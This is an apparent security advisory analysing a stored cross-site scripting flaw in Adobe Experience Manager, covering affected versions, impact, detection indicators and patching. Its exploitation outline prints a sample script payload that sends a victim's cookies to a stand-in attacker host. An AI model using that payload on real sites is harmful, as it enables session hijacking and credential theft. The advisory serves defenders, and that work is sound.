CVE-2025-64861: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64861 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and later executed in the browser of any user who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious content) and network access, but has low attack complexity. No public proof-of-concept exploit code has been identified at this time (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The scope is changed (S:C), meaning the injected script can affect resources beyond the attacker's own security context. Confidentiality and integrity impacts are rated Low, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible via the network.
2. Authentication: Log in to the AEM instance using a low-privileged account (e.g., a standard author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS (e.g., content authoring fields, metadata fields, or custom components that do not properly sanitize input).
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected content, the malicious script executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to attacker-controlled infrastructure (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML/JavaScript tags or encoded script payloads in request bodies.
• File System / Content Repository: Presence of <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded equivalents (e.g., <script>) stored within AEM JCR content nodes or page properties.
• Network: Unexpected outbound HTTP/HTTPS requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; potential exfiltration of session tokens or cookies to attacker-controlled servers.
• Browser: Unexpected redirects or pop-ups when authenticated users browse AEM-authored pages; anomalous JavaScript errors in browser developer console referencing injected content.

Adobe has released patches addressing CVE-2025-64861 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. No specific configuration-based workaround has been published; upgrading to the patched release is the recommended remediation. Administrators should also review content stored in AEM for signs of previously injected malicious scripts (Adobe Advisory).

CVE-2025-64861 was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed a large number of vulnerabilities across AEM. No notable individual researcher commentary or significant social media discussion specific to this CVE has been identified beyond standard vulnerability database aggregation and tracking (Adobe Advisory).